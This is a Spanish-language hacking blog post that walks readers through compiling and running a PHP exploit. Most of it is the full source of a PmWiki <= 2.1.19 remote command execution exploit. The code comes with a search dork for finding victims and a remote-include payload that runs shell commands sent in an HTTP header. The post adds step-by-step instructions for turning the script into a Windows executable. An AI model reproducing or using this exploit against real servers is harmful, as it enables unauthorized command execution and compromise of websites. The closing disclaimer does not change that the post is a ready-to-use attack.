Ene
2
Explotando Exploit PHP
CategorÃas: General |
Enviado por: ansatsu
(4 artÃculos) |
Antes que nada nesecitamos saber/tener un par de cosas:
*Los exploits php se distinguen de esta manera #!/usr/bin/php
*Nesecitamos un compilador (BamCompile)
Antes que nada nos descargamos el BamCompile, lo descomprimimos, lo instalamos en mi caso lo instale en C://
Posteriormente usamos un exploit yo usare de ejemplo este:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r(’
——————————————————————————–
PmWiki <= 2.1.19 Zend_Hash_Del_Key_Or_Index/remote commands execution exploit
by rgod rgod @autistici.org
site: http://retrogod.altervista.org
dork: inurl:pmwiki.php +”Page last modified on” | PmWikiPhilosophy
——————————————————————————–
‘);
/*
works with register_globals=On
against PHP < 4.4.3, 5 <= PHP < 5.1.4
*/
if ($argc<5) {
print_r(’
——————————————————————————–
Usage: php ‘.$argv[0].’ host path http_loc cmd OPTIONS
host:Â Â Â target server (ip/hostname)
path:Â Â Â path to pmwiki
http_loc:Â an http site with the code to include (without ending slash)
cmd:Â Â Â Â a shell command
Options:
-p[port]:Â Â specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php ‘.$argv[0].’ localhost /pmwiki/ http://somehost.com ls -la -P1.1.1.1:80
php ‘.$argv[0].’ localhost /pmwiki/ http://somehost.com ls -la -p81Note:
prepare this code in http://somehost.com/scripts/stdconfig.php/index.html :
<?php
error_reporting(0);set_time_limit(0);echo “my_delim”;
passthru($_SERVER[”HTTP_CLIENT_IP”]);die;
?>
——————————————————————————–
‘);
die;
}error_reporting(0);
ini_set(”max_execution_time”,0);
ini_set(”default_socket_timeout”,5);function quick_dump($string)
{
$result=”;$exa=”;$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=” .”;}
else
{$result.=” “.$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=” “.dechex(ord($string[$i]));}
else
{$exa.=” 0″.dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.=”\r\n”; $exa.=”\r\n”;}
}
return $exa.”\r\n”.$result;
}
$proxy_regex = ‘(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)’;
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==”) {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo ‘No response from ‘.$host.’:’.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo ‘Not a valid proxy…’;die;
}
$parts=explode(’:',$proxy);
echo “Connecting to “.$parts[0].”:”.$parts[1].” proxy…\r\n”;
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo ‘No response from proxy…’;die;
}
}
fputs($ock,$packet);
if ($proxy==”) {
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html=”;
while ((!feof($ock)) or (!eregi(chr(0×0d).chr(0×0a).chr(0×0d).chr(0×0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo “\r\n”.$html;
}$host=$argv[1];
$path=$argv[2];
$http_loc=$argv[3];
$cmd=”";
$port=80;
$proxy=”";for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>”-p”) and ($temp<>”-P”)) {$cmd.=” “.$argv[$i];}
if ($temp==”-p”)
{
$port=str_replace(”-p”,”",$argv[$i]);
}
if ($temp==”-P”)
{
$proxy=str_replace(”-P”,”",$argv[$i]);
}
}
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/')) {echo ‘Error… check the path!’; die;}
if ($proxy==”) {$p=$path;} else {$p=’http://’.$host.’:’.$port.$path;}$data =”—————————–7d529a1d23092a\r\n”;
$data.=”Content-Disposition: form-data; name=\”FarmD\”;\r\n\r\n”;
$data.=”$http_loc\r\n”;
$data.=”—————————–7d529a1d23092a\r\n”;
$data.=”Content-Disposition: form-data; name=\”-1778478215\”;\r\n\r\n”;
$data.=”1\r\n”;
$data.=”—————————–7d529a1d23092a\r\n”;
$data.=”Content-Disposition: form-data; name=\”-1304181425\”;\r\n\r\n”;
$data.=”1\r\n”;
$data.=”—————————–7d529a1d23092a–\r\n”;
$packet =”POST “.$p.”pmwiki.php?n=PmWiki.BasicEditing?action=edit HTTP/1.0\r\n”;
$packet.=”CLIENT-IP: “.$cmd.”\r\n”;
$packet.=”Content-Type: multipart/form-data; boundary=—————————7d529a1d23092a\r\n”;
$packet.=”Content-Length: “.strlen($data).”\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
$packet.=$data;
sendpacketii($packet);
if (strstr($html,”my_delim”)){
echo “exploit succeeded…\n”;$temp=explode(”my_delim”,$html);die($temp[1]);
}
elseif (strstr($html,”failed to open stream”))
{echo “*** adjust path… ***\n”;die($html);}
else
{echo “exploit failed…”;}
?>
El codigo que les acabo de dejar lo copiamos en el bloc de notas y lo guardamos con una extension .php
Ahora lo compilamos: tenemos que teclear:
bamcompile exploit.php exploit.exe
siendo exploit.php el codigo que les acabo de dejar,

Ahora nos damos cuenta que se ha creado un archivo llamado exploit.exe que se encuentra en la bamcompile1.21
Le damos doble click al archivo exploit.exe y listo ahi vienen las instrucciones de como usarlo
SaLuDoS
St4t1k
Últimas entradas:
- Trucos de windows XP
- Internet Explorer 8 será instalado automáticamente
- Explotando Exploit PHP
- Explicion de puertos y como cerrarlos
- Phising y Pharming
- Como Hackear una red wifi.
- Como guardar un sitio web con teleport by rush.
- Hacker se manifiesta en la web de la camara diputados de mexico.
- Que es el phishing?
- Funcionamiento y prevencion de VIRUS!

Las herramientas, trucos, comandos, artÃculos... explicados en este blog NUNCA deberán
ser usados de forma maligna para delinquir o dañar a terceros.
No nos hacemos responsables de la mala interpretación ni del mal uso
de cualquier contenido del blog.
